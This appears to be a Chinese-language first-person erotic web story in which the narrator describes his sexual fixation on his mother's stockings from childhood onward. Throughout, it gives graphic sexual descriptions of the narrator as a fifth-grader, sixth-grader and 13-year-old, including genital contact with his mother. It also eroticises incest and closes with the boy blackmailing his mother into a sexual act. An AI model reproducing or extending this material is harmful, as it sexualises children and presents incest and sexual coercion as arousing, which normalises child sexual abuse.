图片载入中

背德的丝袜未完

特大字】 【大字】 【中字】 【小字

回想起这种事情的时候很难平静,毕竟不是每个家庭都会发生这样的事情…或者说根本不可能发生,一字一字打出来的时候还是觉得激动万分,毕竟这弄不好下场就是上社会新闻。

该怎么说呢?先说名字吧,我的名字叫徐向泉。

事情开始的时候大概要说从还没上小学就开始吧。

印象中还是个幼稚园小鬼的时候,就发现趴在床上摩擦床垫会有痒痒的感觉,而且磨一磨就发现自己的小鸡鸡会变粗变硬,想要去尿尿但是又尿不出来,很不舒服,要等到慢慢变正常了才能尿尿,而且是一段一段的勉强挤出尿来。当时还傻傻地跟其他小朋友分享,说这样趴着一直动会很舒服哦,现在想起来真是白痴的要死。

因为磨床垫的刺激一直不是很够,所以当时还不知道要怎样才会高潮,只是磨啊磨的觉得痒痒的有点舒服,累了就停了,好像也不能干嘛。

磨床垫的行为一直持续到小学三年级的时候,有个超龄的同学在讨论打手枪的事情.当然他不是叫这打手枪,但是就炫耀说他会用手一直搓鸡鸡,然后就会很舒服。我这时候才知道磨床垫还有再进化的手段,回家之后就很兴奋的尝试。一开始一直抓不到比较好的方式,是用拇指跟食指去夹住被包皮包住的鸟来动,但总觉得不够舒服。久了之后才学会用整只手抓住鸟前后套动,然后感到一阵酥麻之后就满足了。

刚开始在打手枪到高潮时只有一点点黏滑的液体从被包住的鸟头中跑出来,后来随着实行的次数越来越多,鸟好像越来越大,也更粗跟更硬,在最舒服时出来的液体也越来越白浊,越来越多。到小学四年级的时候基本上就已经可以算是精液了。这样算是早熟吗?

早打手枪的后果好像就是后来长得很慢,因为爸爸跟妈妈的身高在一般人中都算比平均高一点,爸爸182,妈妈170,就我好像一直发育不良,这之后再说好了。

都已经讲到妈妈了就描述一下好了,毕竟后来发生的事情都跟她有关,妈妈二十三岁生我,身高170之外体重是52公斤,罩杯是如果再大就要下垂的极限34E(好险没再大,再大可能就要抵抗不了地心引力了),不过罩杯当然是很久以后才知道的。身高比较高的关系,腿的比例也很长,所以我后来变成丝袜控应该跟妈妈的一双美腿脱不了关系。虽然在女性中算比较高的,但妈妈的脸却又很小,一头大波浪的棕色卷发很像日本流行杂志上的模特儿,算是走在时代尖端的造型。眼睛细细长长的,睫毛也很长,眼尾收的很有抚媚的感觉;其它五官包括鼻子与嘴都是小巧可爱的类型,毕竟脸小嘛。尤其是嘴的部分,水嫩之外又小小的,嘴角却翘翘的,一看就让人觉得很勾魂的感觉。

性格上,妈妈算是有点严厉的,对我的课业上要求得十分严格,在对我的整体教育上也都是仔细控管的状况。不过也许是逼得太紧了,所以后来我脱轨之后,后果就似乎变得很严重,当然这是后话。

妈妈从大学毕业之后就一直都在国际贸易公司工作,所以职业是很典型的办公室OL。

也因为职业的关系,所以一整天从出门开始就都要穿着丝袜。那细长又均匀的腿套上丝袜真是属于凶器的等级,很难不让附近的男性都多看几眼,一双丝袜美腿好像会发出光芒一样,所以搞得我后来变成丝袜控也不能怪我,诱惑在身边啊?

妈妈的公司很奇怪,夏天的时候要求职员穿肤色丝袜,冬天的时候又换成黑色的,所以家里衣柜里基本上塞满满的都是以这两色的丝袜为主,因此我基本上每天都有丝袜可以看。详细什么时候开始喜欢看丝袜已经不可考了,反正一天到晚看妈妈那双丝袜美腿总会有上瘾的一天。

大概小学五年级的时候,有天妈妈下班回来,一脸严肃的样子。我正在客厅看卡通,妈妈就把我叫过来,叫我把裤子脱下来给她看,我说为什么?她说她有个同事的儿子前阵子发烧,结果把一颗蛋蛋烧掉了,似乎萎缩不能用,所以妈妈想说要看看我的有没有问题。

附注一下,当时爸爸还没下班回家,不然有人也许会想那我爸哪去了呢?

听妈妈说的,当儿子的我也不太懂,只知道好像很严重的样子,总之就乖乖把短裤脱下来,那垂垂的鸟就跑出来,妈妈看了一下就蹲下来用软软的手把我的鸟捧起来开始研究。

提醒一下,当时的我已经会打手枪射精了,而且不知道从什么时候开始已经会欣赏妈妈那穿着丝袜的美腿。蹲着的妈妈正对着我,窄裙内被黑色裤袜包着的黑色内裤也被我看的一清二楚。虽然我不是故意要偷窥,但是还是小朋友的我彷佛被本能驱动似的,知道那边是很好看很刺激的地方,就瞪大着眼睛一直看妈妈那闪着微光的丝袜大腿跟裙底的最深处。

已经会打手枪的另外一个状况就是敏感的鸟一被妈妈碰到,就马上开始勃起。原本小不拉基的小鸟几秒内就从奈米屌变成一只向前挺立的大雕;而且就妈妈后来的证词,第一次看到我勃起时就已经算大的了,基本上快要有成年人的尺寸。

当然妈妈脸上不会有什么反应,当然可能是装镇定就是了。不然十几秒内,一个小学五年级的小鬼,鸟就整只勃起成这样能不惊讶嘛?妈妈上下翻动我勃起的肉棒,虽然皮还很嫩,但已经是一条布满青筋的成人阳具。她的右手把我的肉棒往上扳,另外一只手捧住睾丸开始研究我的两颗蛋正不正常。

“妈妈看看小泉的蛋蛋喔…”

小学开始我就自己洗澡,然后在会勃起会打手枪之后,基本上我的鸟都没给别人看跟碰过。妈妈这样一弄我的肉棒跟睾丸,一股莫名的刺激透过妈妈细嫩的双手不断传来,我身子还来不及缩起来,就啊的一声喊出声,然后从被包住的肉棒顶端喷出一股白浊又浓厚的精液。

对于这种意外的反应,妈妈好像完全呆住了,就呆愣愣地看着我的精液从龟头中一股一股的喷出,第一下还完全击中了妈妈的脸,一股猛烈的浓精将妈妈秀丽的脸强行玷污,然后接下来的三四下就全部落在蹲着的丰满黑丝粉腿上。妈妈的双手并没有任何动作,但单纯只是捧着我阴茎与睾丸的这个动作,就把只是小学五年级生的我刺激到抵达高潮,几秒钟的时间就将妈妈的美丽的脸庞与丝袜大腿都狠狠的铺上白色淫漆。

射完精的我往后一倒坐下,虽然知道自己不是故意的,但是还是很怕平常就一直很严厉的妈妈会骂我:“妈妈对不起…对不起…不知道…”都还跌坐着,就有点胡言乱语了起来。

妈妈在被射了一身之后很快的将震惊退去,神情严肃的松开手站了起来,用手把自己脸上的精液抹掉,“小泉来,我帮你洗一洗。”然后就自己先往浴室走了过去。我跌坐着看着地上的精液,慌慌张张地就跟着妈妈走了过去。

妈妈在浴室脱掉了被我射脏了的黑色丝袜,白皙的一双长腿就算没了丝袜的衬托也煞是好看。用毛巾将自己的脸擦干净之后,她拉着光着屁股的我在浴室里站着自己不知是否下意识的侧蹲着不再让我看到裙底风光,拉了莲蓬头开始翻洗我的鸟。才刚射过精的我不知怎么回事,很快的又再次的勃起。可以看到妈妈秀丽的脸庞微微泛红,不知是因为浴室热水的温度还是怎么回事。但她捧住我勃起的阳具,向我说道:“小泉的包皮脏脏的,妈妈帮你洗干净。”然后就一边用热水冲着,一边温柔的将我的包皮开天辟地头一遭的缓缓拨开。

“唉唉唉…!”

一边吃痛想要后退,但一边又很矛盾的因为肉棒被妈妈抚摸而感到舒服,在包皮退到底的那瞬间,一阵挡不住的快感又再次袭来,从马眼喷出第二次的精液,一口气全部射在妈妈那丰满的胸部上。虽然隔着白色的衬衫与粉红色胸罩,仍然可以看出妈妈那藏在衣服底下的乳房尺寸非常的雄伟。而这次的射精没有再吓到妈妈,她保持镇定的继续清洗着我肮脏的龟头与包皮,很仔细而快速的把龟头棱沟上累积已久的白色污垢都清洗干净。连续闯祸的我不敢说话,就是快站不住脚而发抖的忍耐着,直到妈妈把我的鸟都清洗好了,它才慢慢地软化下来。

妈妈擦了擦额头上的汗,脸上没有任何表情的说道:

“以后小泉就这样自己洗小鸟喔,小泉长大了,妈妈以后不帮你了。”然后就头也不回地走出浴室,留下我自己站在浴室茫然不知所措…难道我做错了什么?

==========于是之后就开始了让妈妈帮我打手枪的日子…那是不可能的。

在那次被妈妈检查蛋蛋而误触击发的事件过后,日子完全没有任何变化,生活照样过,妈妈还是妈妈,小学生还是小学生,只是一个会自己打手枪的小学生,只是知道了鸟被摸是件很舒服的事。

不过知道这很舒服跟真的色心萌起,其实不一定正相关。那之后的我手枪照打,偷看妈妈穿丝袜的腿,照样看。但是就纯粹是自己觉得这样舒服而自己在没人的时候打打手枪。

事情再次发生变化是六年级快毕业准备升国中的时候。妈妈带着我出门采买一些上国中之后需要用的东西,顺便帮我买几件新衣服。逛街的过程中妈妈穿高跟鞋的脚稍微拐了一下,但稍微动了动脚踝就牵着我在继续百货公司里采买。

回到家之后妈妈将高跟鞋脱下进了客厅,坐在沙发上就将其中一脚放在桌上,原来是扭到的地方肿起来了。虽然不严重,但是还是可以看出很明显的瘀伤,妈妈自己揉着的脚踝,柳眉微皱的似乎有些疼痛。孝顺的我(!?)见状就很自然的坐到妈妈旁边说要帮妈妈按摩,妈妈没说什么就把手放开,等着让我来按。

我的小手摸到妈妈的脚踝时彷佛是触电一般,这才发现平常只是觉得好看的丝袜,原来摸起来是这么的滑,这么的顺。那天妈妈穿了件浅肤色的透肤丝袜,原本就很白的肌肤在丝袜底下好像微微发着光一样,十分好看。轻轻揉捏着妈妈的小脚,似乎可以闻到一点皮鞋的味道,还有妈妈腿上的体香,混合起来是种好闻的味道。丝袜小脚在我的轻揉下发出轻微的嘶嘶声,听在耳中好像是美妙的音乐一样。一边揉,一边直盯着妈妈的丝袜美足看,趁着妈妈闭着眼睛在稍作休息的时候,还往上偷喵着妈妈的丝袜小腿与大腿,秾纤合度大概就是最适合这双美腿的形容词。

原本不带色心的我不知为何的突然觉得身体里有股热力在涌上脑门,整个身体连同揉着妈妈小脚的手都热了起来。享受着手中传来的细滑触感,惊觉到裤子里的小鸟居然慢慢硬了起来,没多久的时间就把短裤撑起了一个不小的帐篷。这才知道原来丝袜这么好摸的我,欲罢不能的藉着帮妈妈按摩脚踝而抚摸着妈妈的脚,从触感上获得了某种程度的满足,也开启了恋袜的不归之途。

终于妈妈张开了细长的眼睛,我赶紧收回双手然后坐正掩饰着自己双腿中让人困窘的硬挺。妈妈没有察觉我的变化,只是轻松地转了转头然后向我说了声:谢谢乖儿子,然后就站起来去浴室洗澡了。

==========坐在客厅发傻的我打开电视看着卡通,脑子里还是疯狂转着刚刚揉捏妈妈丝袜小脚的画面,手上彷佛还留着那细致滑腻的触感,挥之不去。不知过了几十分钟,才发现妈妈已经留着浴室烟雾缭绕的蒸气,洗完澡回到房间去了。

回房之前妈妈喊了一声叫我去洗澡,魂不守舍的我好像飘着一样的进了浴室准备脱衣服洗澡。准备把衣服丢进洗衣篮的时候,才发现妈妈今天穿过的丝袜彷佛正向着我招手一样的被随便丢在洗衣篮里。我看着那件透明肤色丝袜才几秒钟,就很本能的伸手拿了起来,用双手在袜管上搓揉,回味刚刚抚摸妈妈丝袜小脚的那种绝妙触感。

嘶嘶的声音马上勾回了十几分钟前那让人难忘的记忆。摸着手中的丝袜,忍不住凑到鼻尖闻着丝袜脚尖,那带着皮革与体香的味道让人深深难以自拔,没几秒就让我裤中的小鸟站了起来,再次将短裤撑起了一个小帐棚。我火速的踢掉了短裤与内裤,左手拿着丝袜凑在鼻尖猛闻,右手则不受控制的开始前后撸动那根已经完全勃起的肉棒。

在脑中不断回想着妈妈的丝袜美腿,那修长而又不失丰满的一双粉腿,居然能把当时还只是小学六年级的我给迷得神魂颠倒。一边闻着丝袜一边猛力打着手枪,感觉到自己逐渐步向最高点的同时,干脆把丝袜咬进嘴里狂吸,好像要把妈妈的体汗与香味都给吸进嘴里,终于挺着下体一突一突的从半开的包皮中喷射出一股股白浊的精液,几乎全射在了墙上,还听到一道精液射击墙壁的反弹声。舒爽的射精快感让我一时间整个人都翻起了白眼,什么都没办法思考。

十几秒后射完精的我才回过神来,把嘴里咬着的丝袜拿出,发现没含进嘴里的另外一只袜脚不小心被我的精液溅到了一点,在透明的丝袜上染着了少许的白浆。爽完之后才开始紧张的我赶忙抽了卫生纸开始擦拭喷溅到的精液,一连抽了数十张才将染在肤色丝袜上的精液大致上擦去,再将丝袜塞回洗衣篮的底层。

收拾完现场之后,赶快洗好了澡然后就躲回房间,心理一直担心偷拿妈妈丝袜打手枪的事情不知道会不会被发现。不过到了隔天,妈妈将所有的衣物都洗好了,也不见她有什么不同的反应,作贼心虚的我这才终于放下心里的大石头。

==========在这次偷拿妈妈脱下的丝袜打手枪之后,食髓知味的我开始每次在妈妈洗完澡离开浴室之后再随后进去,假装洗澡但其实是要拿她的丝袜来爽。一开始只是像之前一样拿在手上搓揉,或含在嘴里然后打手枪射精;后来开始会将丝袜套在手上再撸动阳具手淫;或者是更过分的直接将袜管套在肉棒上包覆着打手枪。但也因为上次精液溅到妈妈丝袜的经验,知道那很难清理,所以在打手枪时都很小心,在射精时不要直接弄到丝袜。大部分的时候只把丝袜套在手上搓鸟射精都很安全,偶尔色欲熏心时会套着鸟打,但是在快要达到高点之前就得把丝袜拉掉免得喷得不可收拾。而在搓鸟的过程中会流出一点透明的液体,因为不多所以还可以用毛巾或卫生纸擦掉,只要小心不要在上面留下卫生纸屑就好。

每次偷妈妈丝袜打手枪的时候,我都想像着自己在摸妈妈的丝袜大腿,在我心中那是世界最最美的一双腿,比任何街上穿丝袜的女生都好看。勃起着的肉棒感受着细滑却又微带摩擦的丝袜触感,觉得再也不会有其他事情比现在这样舒服。然后在喷射出的一瞬间,脑海空白着一次又一次提升自己心中对妈妈的淫欲,终于在心中萌发出了乱伦的思想,为后来发生的事情种下了罪恶的种子。

==========一次一次偷用妈妈的丝袜打手枪,很快就已经变成日常生活中不可或缺的一环。我小心又宝贵的猥亵那些带着体香的丝袜,没有让妈妈发现过(自以为啦,应该没有吧?)。

升上国一之后,可能因为是独子,望子成龙的关系,课业在妈妈的督促下开始忙碌了起来。除了补习之外还常常要留在学校自习(靠,才国一耶!),成绩在重重的压力下勉强维持在中上,但也从来不是顶尖的那一群。常常回家就看到妈妈板着一张脸问我今天上课的状况怎样,然后要我把功课写完才能休息。其实有时候学校的功课并不多,毕竟才国一而已嘛,但加上补习班的额外作业,就常常连放学回家都搞得我七晕八素的。

有时候进度慢了,弄到都十一二点了才能睡觉,妈妈看这样不行,干脆晚上就在家里盯着我一起写作业,有妈妈直接坐在旁边督促我,速度上快了不少。后来有些问题不会,就试着问妈妈,妈妈也很理所当然地耐心教我(她毕业的大学还不错),一开始妈妈坐在餐桌对面,后来这方位不太方便教学,就直接坐在我旁边看我写作业。

坐到旁边就让我有点心猿意马,毕竟已经开始有性欲了。而且很大的成分,那性欲是对妈妈产生的,而且还时常用妈妈的丝袜手淫。在那时我并不觉得这是一件不道德的事,只是不敢让严厉的妈妈知道我偷她的丝袜用而已。坐在旁边的妈妈身上有淡淡的香水味,在一天的忙碌之后混合了很薄的汗味与体香,形成一股非常好闻的味道,常常让我不自觉间加大了唿吸。当时还不知道这就是费洛蒙的威力(或白话点说女人香吧),只觉得就是喜欢妈妈身上那好闻的味道。

妈妈在教我功课时坐得很近,有时候甚至边讲就边靠到我身上来了。

“呐,小泉你看,这个片语是这样写法…”

妈妈专心的讲解我不懂的英文。从侧面近距离看妈妈的脸,原本就很细致的脸显得更亮丽了。爸爸说年轻的时候超多人追妈妈的,不知道怎么的就被爸爸这个老实人追走。想着想着有点走神,没专心在课本上,这才突然发现妈妈贴得太近,胸部都已经直接贴在我的手臂上了,那有点软软又似乎很饱满的感觉,虽然隔着衣服与胸罩,但对才十三岁的我而言却已经是太巨大的刺激。心猿意马之下短裤底下的阳具已经开始偷偷的勃发,在桌下秘密的撑起一个小天地。

但妈妈似乎毫无察觉,只顾着要讲解课文,不知不觉间又靠近了一点,这下连丝袜美腿都贴到了我的腿跟右手。妈妈这天穿了双很薄的灰色尼龙丝袜,我的手跟腿甚至都感受到了那美妙丝腿传来的滑顺与热度。虽然因为紧张而不敢乱动,但是好像把神经都放在顶到胸部的手臂,还有触碰到丝袜大腿的手背与腿。原本就已撑起帐棚的肉棒更是完全勃起,都快要从短裤底下整根穿出来了。

维持这种紧贴的状态好一阵子,妈妈才发现自己贴得太近,稍微坐开一点,但没有察觉到她儿子已经因为她的性感肉体而充血勃起。整个脸像火烧一样的我就算妈妈已经坐开,仍然停留在刚刚那状况下无法消退,偷偷的闻着妈妈的香气而持续勃起。过了十几分钟后,整个课程终于结束,妈妈也伸个懒腰洗澡去了,这时候的我终于能够从缺氧状态下放松下来。

期待的时间就在十几分钟之后。妈妈洗完澡回房间去了,我火速的进到浴室找到那扔在洗衣篮中的超薄灰色丝袜,然后就像以前一样放在鼻子前用力的唿吸着上面的体香,接着迫不及待的脱下裤子将那件丝袜套在我怒勃的阴茎之上,感受着尼龙纤维对我阳具的美妙刺激,开始狠力的套弄起来。几乎是瞬间,剧烈的快感就从被包皮包住一半的龟头一路直窜脑门,刺激我喷出一大坨浓烈又腥臭的精液,全部喷在了妈妈的丝袜袜脚里。平常的我都会把丝袜剥掉射在外面,但今天手肘抵到妈妈奶子,手背跟腿又接触到了妈妈的丝袜粉腿,那颗在脑海里的兴奋让我实在是无法控制射精的闸门,失控的将白汁全都贡献给了妈妈穿过的性感丝袜。

喘息着从射精的快感中平复过来,这才想起要开始收拾残局了。我紧张的像平常一样用卫生纸开始擦拭那被喷得一片浆煳的丝袜袜脚,发现精液太多改用毛巾擦拭,也一样没办法弄得很干净。于是我沾了一点沐浴乳开始洗着那被精浆喷脏的袜足,大致上觉得清洗干净之后就把丝袜用毛巾吸干水,然后再塞回洗衣篮的底部,这才心虚的开始洗自己的澡。

==========我原本以为一切都没问题了,不会被发现,结果隔天就发现我错了。

白天起床去上学时都还没什么异常,直到晚上回家之后一样在餐桌旁写作业,不知是错觉还是怎样,觉得妈妈的脸面无表情的,甚至有点僵,而且好像坐得比较远,基本上那距离不会跟我有身体接触了。然后学习结束,妈妈去浴室洗完澡之后,我照着习惯要去浴室偷拿妈妈的丝袜打手枪,就发现明明刚刚妈妈还穿着黑色的丝袜,怎么在洗衣篮里面没有?

洗澡出来之后才发现,妈妈应该是把丝袜拿到阳台去晒了。难道是妈妈发现了?可是我有洗啊?难道是洗的不够干净?是哪边泄漏了?还是只是巧合?脑子有点混乱的胡思乱想起来。可是刚刚在写作业时妈妈坐的那么远,还有那冷淡的态度,感觉上真的有什么事情才会这样啊?

就这样抱着狐疑的态度去睡觉,却是翻来覆去的怎样也睡不着,一直担心是不是偷拿丝袜射在里面的事情泄漏了,在床上滚来滚去的都在想这件事情,结果是一夜都没睡。一大早起来刷牙的时候爸妈都还没起床,禁不起好奇心的诱惑,到阳台去确认妈妈是不是把丝袜挂在阳台晒,结果走进阳台,果然发现昨天妈妈所穿的那双黑色薄丝裤袜,正在随着清晨的微风吊在空中晃呀晃的。

看到喜欢的丝袜,我不禁吞了吞口水。昨天没有发泄欲望,想了那魂牵梦萦的丝袜整整一晚上,现在看到那条丝袜挂在夹子上,一股昨天没满足的淫欲瞬间萌发了起来。想到爸妈应该都还没起床,也不管之前射在丝袜里面是不是已经被发现了,色欲熏心的就把丝袜拿下来,脱了裤子熟门熟路地把丝袜套在几乎是瞬间勃起的阴茎之上猛搓。

“啊…”那熟悉的丝滑触感磨的我的肉棒无比舒爽,我不禁畅快的呻吟起来。右手飞快的套动着紧裹着细薄黑色丝袜的阳具,左手拿着袜脚猛力的吸着那已经洗过,带点肥皂味的的淡香,心中微薄的理智告诉自己待会要射的时候千万不能再射在里面了。

一边隔着薄薄的黑色丝袜搓着自己的阳具,一边幻想着妈妈的丝袜美腿,妈妈香香的小脚,那天顶在我手肘上的胸部,衣服底下那充满弹性的性感象征。那肥肥的奶子一定很大吧?妈妈洗澡脱下丝袜与衣服之后,把胸部露出来一定很好看,小时候吃奶的记忆已经完全忘记了,如果能看着妈妈的乳房跟丝袜美腿打手枪…“小泉你起床了吗?”

听到妈妈慵懒的声音从客厅中传来,我一时紧张不已,没控制住就突然间刺激的喷出了精液。慌忙地要把套住的丝袜拉离爆射中的鸡巴,第一道精液还是扎扎实实的喷在袜腿里面,剩下的则全都撒在了阳台的地面上。我手忙脚乱的拿挂在阳台的抹布在几秒内快速擦拭了丝袜跟地上的精液,并把丝袜挂回夹子上,再随手拿了双挂在阳台的学生袜走回客厅。

“妈妈早,我起床了啊,阳台拿袜子穿。”

这时候的我看不见自己的表情,但一定笑得非常的尴尬吧。妈妈略歪着头望了我一眼,没有什么表情地就开始帮我准备早餐。整个早餐的过程中我都非常的紧张,一句话也说不出来。随把早餐解决完,就急忙作贼心虚的换上制服去学校了。

==========那天在学校可以说整个忐忑不安,不停地在想早上的事,觉得自己怎么哪么白痴,就已经想说不要喷在袜子里了,结果一被吓到还是马上就喷在里面,实在惨透了,如果被妈妈发现了…不,一定已经被发现了吧!?

带着不安的心情回到家中,推开门的时候看到应该还没有下班的妈妈已经坐在客厅,心理就有个底了。果不其然,全身还穿着公司上班套装的妈妈拍拍沙发旁边的位置招唿我坐过去,我把书包放下,就像只受惊的小狗般的坐在了妈妈旁边。

妈妈看起来是提早请假回家,这时候的爸爸还在公司上班,想来也是要避开爸爸在的时间,才好跟我谈接下来的事情吧。

妈妈转头看着我,几秒钟的时间里妈妈没有说话,我也只是紧张地低下头,不知道是在放空还是如何,结果眼睛却一直偷瞄着妈妈在套装窄裙下那双苗条的黑丝长腿,真是要死了也不忘偷看就是。

“知道妈妈要跟你说什么吗?”妈妈打破寂静的空气率先向我问了一句。我不敢看妈妈也不敢说话,只是沉重的点了点头。

“为什么要拿妈妈的丝袜…用呢?”妈妈顿了一下,看起来要直接说出我的猥亵行径似乎也有点困难。我低着头死盯着妈妈的丝袜大腿,脑子混乱的思考着应该要怎么回答,明明在学校就已经整天在想了,怎么现在倒是一句话都说不出来?

沉默了很久,我才勉强的挤出一句:“因为…我觉得…妈妈的腿穿丝袜很好看…所以…所以…”接着就不知道怎么说下去了。

听到我的的回答,妈妈严肃又美丽的脸有着微妙,但说不出是生气还是怎样的表情,那双性感的黑色丝腿轻轻地彼此摩擦了一下,发出了悦耳的嘶嘶声…都已经被抓到了,我居然还在想好色的事情啊!!

“小泉,你这是青春期常有的现象,”妈妈那清脆的声音听起来异常的镇定,对照组的我则是困窘得不知该如何是好。“这时候的小朋友这样是…很正常的,你应该把精神放在好好读书上,就不会想这些奇奇怪怪的事情。”

接着妈妈就开始晓以大义,持续的灌输我这样是不对的,应该要好好读书就不会这样了,诸如此类的重复内容。头昏脑胀的安静听妈妈连续讲了几分钟,我终于忍不住回嘴。

“可是我就是觉得很舒服啊!”我抬起头看着妈妈,稍微有点大声地回话。这句简单又有力的话倒是突然间让妈妈讲不出话,不知要怎样说这个讲不听的儿子。

“那样很变态!”妈妈的态度从单纯的说教变得有点生气“用丝袜是变态才做的事!

“我没有变态!”我也忍不住生气的顶起嘴来,“我就是觉得用妈妈的丝袜很舒服而已,哪里变态!?我又没有偷,我有放回去啊!”

“你这孩子怎么这样?还顶嘴!”妈妈生气地说道,“不是偷不偷,讲这什么歪理,不可以的事情就是不可以,就是变态!”

“我就觉得妈妈的脚穿丝袜很好看很性感而已!这样哪里变态?”我生气的死盯着妈妈说道。

“你说什…你说什么性感…什么,你这孩子讲什么!”突然听到我说她的脚穿丝袜很性感,很明显的看出妈妈整个人手足无措不知该怎么回应,困窘到话不成话的样子“就妈妈的错!我说你穿丝袜的脚很好看很性感,我就喜欢啊!我就喜欢用妈妈丝袜啊,不可以吗!?”有种破罐子破摔的感觉,反正都被抓到了,我整个人好像豁出去了一样开始乱讲一通。

“你这孩子!”看得出妈妈越听越生气,“青春期小孩胡思乱想…反正就是变态,不可以!”

“妈妈让我摸就不会胡思乱想了啊!”我胀红着脸赌着气,突然间就伸出右手摸到妈妈的丝袜大腿上用力抓住,妈妈整个人震惊的抖了一下,一下打开我的右手,我不服气,又放上去抓住那触感美妙的黑丝大腿。

啪!的一声,妈妈一巴掌打在我的脸上,我回过脸来,满脸通红的瞪着妈妈那也是气红的脸,右手就赌气的死抓着妈妈性感的丝袜美腿不放。马上妈妈又是啪一巴掌打在我脸上,连带的她整个人都气到发抖。我脸上连挨了热辣辣的两巴掌,眼睛噙着泪水就是气唿唿的不让眼泪滴下来。

妈妈拉着我的右手要从她的腿上拿开,我就是闷着气死抓着怎样也不放。两个人就像小朋友在那边生气的扳来扳去。这时候才国一,力气比较小的我最终被拉开了右手,但马上就很赖皮的改用左手继续搭在妈妈的丝袜嫩腿上。

“你这孩子怎么这样!讲不听!?”怒不可遏的妈妈火速又赏了我两个巴掌,我动也不动,连眼睛都不眨的红着眼眶瞪着妈妈,就是不把手放开,“徐向泉你气死我了!”妈妈大吼了一声突然站了起来,用力的踏步跨到厨房,整个人气到不停的发抖讲不出来话来。我就坐在沙发上低着头默默不语,这时候才慢慢地滴下眼泪,自己一个人坐着哭个不停。

维持着妈妈在厨房,我在客厅的状态不知道多久,爸爸从外面推开门回来了。映入眼帘的就是我自己坐在客厅哭的情景。

“儿子怎么啦?在学校给人欺负吗?”

“考不好被我骂啦,”妈妈从厨房回了爸爸的话,我没回头看妈妈的表情,但她的声音已经回复了镇定。“你不要理他就好。”

“喔,好啦,国一而已,你别一直逼儿子。”爸爸试图打圆场说。不过看现场气氛有点僵,又开口说道:“我先去躺一下,待会饭好了再叫我。肚子饿了老婆…”

“好啦,老公你先去休息一下,我弄晚饭很快就好。”妈妈说罢就系上围裙开始准备弄点可以比较快好的晚餐,爸爸也脱了臭袜子小睡去了。

坐在客厅发傻的我擦了擦眼泪,回想刚刚跟妈妈的争执,觉得生气又委屈,一点也不觉得自己有错。本来就是嘛!就用妈妈丝袜打手枪而已,又没有犯法!越想越觉得生气,总觉得咽不下去,妈妈不给我用丝袜,我偏要用;妈妈不给我摸大腿,我偏要摸!

好像下定决心似的,我自己先坐到了餐桌旁那习惯的位置,右边是爸爸,左边是妈妈。等到妈妈煮好了晚餐去叫爸爸,三个人就开始装作平常的吃晚餐。爸爸跟妈妈讲着今天在公司发生的趣事,妈妈则有一句没一句的回话,似乎有点心不在焉。

“……”妈妈的身子突然小抖了一下,原因就是因为我。但正在夹菜的爸爸并没有发现,我偷偷把左脚伸出去触碰妈妈的丝袜小脚。右手夹菜吃饭的同时,左手却在桌底下伸到了妈妈的丝袜大腿上,放肆地来回抚摸。

妈妈不作声色的继续吃饭,只是趁着爸爸不注意的时候给了我一个非常严厉的眼神,我只是装作没看到,一边吃饭一边继续摸个够。平常色归色,顶多就是偷丝袜打手枪,还有用余光偷瞄妈妈的丝腿,从来也没有胆子直接伸手上去摸。现在下定决心放胆摸下去,突然间就一点也不怕了,彷佛是在对妈妈宣示:我就是要摸你的腿!

妈妈试着拂去我的腿,我都马上又搭回去继续偷摸,来回几次之后妈妈就放弃了,可能担心在爸爸面前直接揭穿我不知会有啥后果,干脆就不管我让我自己摸个够。以前从来也没这机会,现在摸得兴起的我裤子底下的肉棒都已经完全勃起,觉得真是摸丝袜摸到爽呆了,上瘾了。

对妈妈而言应该非常漫长(对我而言太短)的晚餐终于结束,爸爸起身饱足的哼着歌洗澡去了,我也暂时放开了摆在妈妈大腿上的手,开始帮妈妈把碗盘都收拾好收到水槽里,这动作倒是让妈妈有点吃惊。

“哦,我的变态儿子除了摸腿之外还会帮忙做家事喔,真是…你又要干嘛!?”原本露出轻蔑表情的妈妈突然间就变了脸色,因为我把全部的碗盘都倒进水槽之后,又从妈妈的身后直接伸出双手,将魔掌黏在妈妈套装窄裙下的丝袜大腿上,简直就真的像个变态一样。

“你到底想干嘛!?”妈妈回过头生气的斥责我,但又不敢骂得太大声,怕会被刚刚才去洗澡的爸爸发现。果然,妈妈的脸皮就是薄,尽管现在做坏事的是我,但是妈妈却会怕被爸爸知道,我就掌握着这种微妙的心理攻击着妈妈。

“……”我没有说话,只是厚着脸皮死盯着妈妈,双手搭在她的丝袜大腿上动也不动。

“是不是要我把丝袜给你?”已经被我烦到不知道该怎么办的妈妈,似乎打算无奈地对我让步。但我想一次要得更多,直接割地赔款似的让妈妈一次退到无法再退。

下定决心的我直接拉开裤子的拉炼,一下子就让已经勃起到整枝通红的肉棒弹了出来,凶狠的打在妈妈的丝袜大腿之上。大吃一惊的妈妈发现我把鸟掏出来,张大着嘴讲不出话,转身过来,往后一退整个靠在了水槽边。

“你…你…”妈妈睁大眼结巴的讲不出话来,双手紧握在胸前异常的紧张。

“我要妈妈帮我打手枪。”冷静到有点可怕的我,脱口说出这变态到不行的要求。

“你疯了啊…!?”妈妈几乎就要惊叫而出,赶忙捂着嘴不让自己喊叫出来。

我抓住妈妈的左手,一把就把她的手往底下拉,要她碰触我的命根子。发现我变态意图的妈妈死命的抵抗,想把双手收回胸前。来来回回的拉扯着,僵持不下。

真要比力气,现在才快160公分高的我应该是还比不过170公分高的妈妈,这样僵持下去我的企图很难达成,要用其他手段协助才可能。

“妈妈不帮我打手枪,我就直接大叫,让爸爸走出来看我们现在这样。”

我内心虽激动万分,但却克制自己用平静但有点可怕的语气威胁着妈妈。老实说这是个险招,就只是看准了妈妈脸皮薄这点来攻击她,如果她冷静下来想想,直接走开,让我自己一个人唱独角戏,等到爸爸洗澡出来,大概就是让爸爸暴打我这不肖子一顿。但现在已经完全陷入混乱的妈妈想不到那么多,她脑子里就只有把手收回来紧抓着,跟放松手任我猥亵这两个选项而已,而我看得出来她已经不知道该怎么办了。

看准妈妈不知所措,防备松懈的那瞬间,我把妈妈的手抓到了我的肉棒之上,然后让她握住我那布满青筋的阳具。妈妈的手当然没有用力握住,仅仅是置放在上面而已,但感受到妈妈手心传来那冰凉却细嫩的触感,我瞪大着眼睛看妈妈的小手放在我炙热的阴茎上,爽到简直想大喊出来。我左手紧紧的抓住妈妈的黑丝大腿,右手抓住妈妈的左手让她套着我的肉棒。抬头看着妈妈那美丽如雕刻的脸庞上,细长的双眼已经空洞而无神,焦点不知道对在哪里。随着我拉住她的左手不停前后摆动,一头波浪般的卷发也在空中摇曳飘动着。

